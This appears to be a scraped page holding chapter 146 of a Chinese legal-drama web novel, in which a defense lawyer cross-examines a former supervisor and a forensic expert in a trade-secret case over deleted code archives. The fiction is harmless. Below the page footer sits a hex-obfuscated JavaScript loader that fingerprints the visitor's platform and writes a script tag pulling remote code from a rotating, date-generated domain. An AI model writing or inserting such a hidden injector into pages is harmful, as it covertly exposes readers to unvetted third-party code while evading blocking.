返回第一百四十六章 证人  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

休庭后的第三天,沉牧之在事务所接到刘审判长书记员的电话。“沉律师,合议庭对鉴定报告的采信问题有不同意见。需要双方补充提交关于鉴定程序的书面意见。下周三之前交。”不同意见。不是对事实的不同意见,是对鉴定程序的。星辰科技一定在质疑鉴定的合法性。他们可能会说鉴定范围不够全面,鉴定方法不科学,鉴定人没有资质。沉牧之写了整整两天。他把鉴定报告从头到尾拆解了一遍,每一个技术环节都找到了法律依据。鉴定的委托程序合法,鉴定人具备资质,鉴定方法符合国家标准。每一项都写得清清楚楚。

下周三,书面意见交到法院。沉牧之从法院出来的时候,周明正好走进大厅。两个人又在大厅里遇见了。周明手里也拿着一个牛皮纸信封,跟沉牧之的一模一样。

“沉律师,交材料?”

“恩。你们也交了?”

“交了。鉴定程序有问题。你们的鉴定范围只包括被告的个人电脑、云盘和手机,没有包括被告的工作计算机。工作计算机里的代码,也是被告写的。离职时他有没有删干净,你们没查。”

沉牧之把信封夹在腋下。“工作计算机是公司的财产。离职时已经交还公司了。计算机在公司手里,你们随时可以查。没查,是你们的事。不是鉴定程序的问题。”

“沉律师,你总是这么会说话。”

“我不是会说话。我是有道理。”

两个人一前一后走出法院大门。阳光很好,把两个人的影子拉得很长,一个向东,一个向西,分开了。

又过了两周。开庭。

这一次,星辰科技申请了证人出庭。林晓的前部门主管,姓赵,四十多岁,戴着一副金丝眼镜,头发用发胶固定得很牢,一丝不乱。他走到证人席上,坐下,双手放在膝盖上。

刘审判长看着赵主管。“证人,请你如实作证。伪证将承担法律责任。”

赵主管点了点头。

周明站起来,走到证人席前。“赵主管,你在星辰科技担任什么职务?”

“技术研发部总监。”

“林晓是你的下属吗?”

“是。他是我们部门的算法工程师。”

“他在职期间,工作表现怎么样?”

“技术能力很强。但工作态度有问题。”

“什么问题?”

“不服从管理。经常擅自修改代码,不经过de review就提交。公司规定,所有代码必须经过review才能上线。他经常绕过。”

周明点了点头。“他没有问题了。”

沉牧之站起来,走到证人席前。

“赵主管,你说林晓不服从管理。他被处分过吗?”

“没有。”

“被警告过吗?”

“没有。”

“被扣过工资吗?”

“没有。”

“也就是说,他违反公司规定,但公司从来没有处罚过他。对吗?”

赵主管的手在桌面上动了一下。“没有。”

“公司为什么不对他进行处罚?”

“公司考虑到他的技术能力很强,不想失去他。所以一直容忍。”

“容忍到什么时候?”

“到他离职。”

“他离职的时候,公司有没有因为他‘不服从管理’而挽留他?”

“挽留了。他不愿意留。”

沉牧之转过身,看着审判席。

“审判长,原告的证人试图证明被告‘行为异常’,‘不服从管理’。但事实是,被告从未受过任何处分。他在公司的表现是正常的。如果他不正常,公司不会容忍他那么多年。”

他转回身,看着赵主管。

“赵主管,你说林晓下载的那些代码是公司的内核代码。这些代码,是谁写的?”

“大部分是团队共同完成的。林晓写了其中一部分。”

“你确定他写的那部分是‘内核’的?”

“有一部分是。”

“哪一部分?”

赵主管尤豫了一下。“推荐引擎的召回模块。”

“召回模块是内核代码吗?”

“是。”

“林晓写这个模块的时候,公司有没有要求他签署额外的保密协议?”

“没有。公司有统一的保密协议。”

“统一的保密协议里,有没有明确枚举哪些代码属于商业秘密?”

“没有枚举。商业秘密的定义在协议里有。”

“定义是怎么写的?”

赵主管想了想。“‘不为公众所知悉,能为权利人带来经济利益,具有实用性并经权利人采取保密措施的技术信息和经营信息。’”

沉牧之点了点头。“审判长,原告的保密协议中,商业秘密的定义是法律条文的重述。不是具体的代码清单。被告不知道哪些代码是‘商业秘密’。”他转回身,看着赵主管。“林晓离职后,公司有没有通知他,哪些代码不能留?”

“保密协议签了,他应该知道。”

“应该知道,不等于知道。公司没有明确告诉他。对吗?”

赵主管没有回答。

沉牧之点了点头。“我没有问题了。”

赵主管走下证人席。他经过林晓身边的时候,没看他。林晓也没看他。两个人象不认识一样。

周明站起来。“审判长,原告申请传唤第二位证人。鉴定人张工。”

沉牧之的眉头动了一下。鉴定人是法院委托的,不是任何一方的专家。星辰科技传唤鉴定人,不是在质疑鉴定结论,是在利用鉴定人的证言补强自己的证据。如果鉴定人说一句“被告的硬盘里虽然没有内核代码,但鉴定过程中发现了一些痕迹”,周明就会抓住不放。

张工走进来。五十多岁,头发花白,穿着深色夹克。沉牧之认识他。前几次接触过,张工的专业能力够强,至少在鉴定报告里表现得很严谨。他走到证人席坐下。

周明走到证人席前。“张工,你是本案的鉴定人。请你向法庭介绍一下鉴定过程。”

张工翻开笔记本。“我受市知识产权法院委托,对被告林晓的个人电脑、云盘账户、手机进行了电子数据取证和鉴定。鉴定的主要内容是,这些设备中是否存在与原告主张的商业秘密相同或实质相同的源码文档。我采用了哈希值比对、关键词搜索、文档类型过滤等方法,未发现符合条件的文档。”

周明点了点头。“在你进行鉴定的过程中,有没有发现被告曾经存储过原告公司的源码?”

张工沉默了一下。“在被告的云盘回收站中,发现了一些已删除的压缩包。压缩包内包含源码文档。经比对,与原告主张的内核代码部分相同。”林晓的脸一下子白了。

沉牧之站起来。“审判长,抗议。原告在庭前没有披露这一证据。”

周明转过身。“审判长,这是对鉴定人证言的补充询问。不是提交新证据。鉴定人在鉴定过程中发现了这一情况,我们有权利询问。被告的律师也有权利质询。”

审判长点了点头。“抗议无效。证人继续。”

张工继续。“这些压缩包是被告在收到律师函后删除的。删除时间,与被告收到律师函的时间吻合。”

周明表示感谢。

沉牧之站起来,走到张工面前。

“张工,你刚才说,在云盘回收站中发现了已删除的压缩包。这些压缩包,包含原告的内核代码。请问,这些压缩包是什么时候创建的?”

“创建时间是被告离职前。具体日期,压缩包内的文档修改时间显示。”

“被告有没有打开过这些压缩包?”

“无法确定。压缩包删除后,无法判断是否曾被解压。”

“有没有证据证明,被告将压缩包的内容传输给了第三方?”

“没有。”

“有没有证据证明,被告曾使用压缩包内的代码为第三方提供服务?”

“没有。”

“有没有证据证明,被告在删除这些压缩包之前,曾经查看过里面的内容?”

张工沉默了片刻。“没有。”

沉牧之转过身,看着审判席。“审判长,原告的鉴定人发现,被告的云盘回收站中有已删除的压缩包。仅此而已。没有证据证明被告曾打开、使用、传输这些代码。压缩包在回收站里,恰恰说明被告已经删除了它们。他不需要法院告诉他,他自己就知道不能留。”

周明站起来。“审判长,被告的云盘回收站中有公司的内核代码,这是事实。代码怎么会到被告的云盘里去的?总不会是自己飞进去的。被告上载了。他上载了,这就是获取。获取了商业秘密,就是侵权。”

沉牧之不看他。“审判长,被告上载这些代码的时间是在离职前,那时候他还是公司在职员工,有权访问内网服务器。在职期间将自己的代码上载到个人云盘,是不合适的,但这不是‘窃取商业秘密’。公司没有规定不能上载。被告没有收到明确的禁止。等到律师函来了,他知道了,删了。删除就是补救。法律鼓励补救。”

周明还想说话。审判长敲了一下法槌。“证人可以退庭了。”

张工站起来,走出了法庭。林晓坐在被告席上,手还在发抖。

沉牧之走到他身边。“鉴定人说你的云盘回收站里有压缩包。你之前不是说都删了吗?”

“我删了。我不知道回收站里还有。我没清空。”

“压缩包里是什么?”

“我的代码。我自己写的。”

“有没有公司的公共库?”

“有。公共库所有人都能用。那不是秘密。”

沉牧之在笔记本上记了几笔。不是秘密。公共库。

审判长看了一眼时间。“今天的庭审到此结束。下周一继续开庭。双方提交书面代理意见。退庭。”

法槌敲了一下。林晓转过头看着沉牧之,额头上全是汗。

“沉律师,他们发现我的云盘里有代码。我会不会坐牢?”

“不会。你没打开,没使用,没传输。只是放在那里。不犯法。”

“可他们说我侵权了。”

“商业秘密侵权,要看有没有‘使用’。你没有使用。只是存储,不算侵权。”

“那他们为什么要告我?”

“因为你是前员工。因为你在公司最内核的岗位上。因为你写的代码他们说是他们的秘密。”

林晓沉默了一会儿。“沉律师,我是不是不该删。我要是没删,他们找不到,就没事了。”

沉牧之看着他。“你没删,他们找到了,你更麻烦。删了,还有回收站。没删,就在硬盘里。硬盘被查封了,代码就在硬盘里。你怎么都说不清。回收站至少说明你删了。”

法警走过来。林晓被带走了。

沉牧之收拾好卷宗,站在空荡荡的法庭里。墙上挂着一幅字——“公正”。隶书,黑色的,笔划很粗,隔着半个法庭看过去显得黯淡。他看了一会儿,转身走出法庭。

雨还在下,不大,细细的,落在脸上像喷雾。他没有打伞,站在台阶上,看着灰蒙蒙的天空。今天鉴定人说的那些话,不是对林晓不利,是毁灭性的。云盘回收站里有压缩包,压缩包里有代码。代码是公司的内核代码。林晓自己的说法不能平息。

他上了车,坐在驾驶座上。手机亮了。林晓发来一条消息。“沉律师,我还能赢吗?”沉牧之看着那几个字,打了“能”,又删了。打了“也许能”,又删了。打了“不好说”,又删了。他不回。把手机放在副驾驶座上。对林晓来说,能或不能,他不能回答。法律没那么简单,法官没那么简单,对方的法务总监周明也没那么简单。

他发动了引擎。雨声又密了一些,雨刷开到最快挡,还是刮不净。他等着,等雨小一点,再开走。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");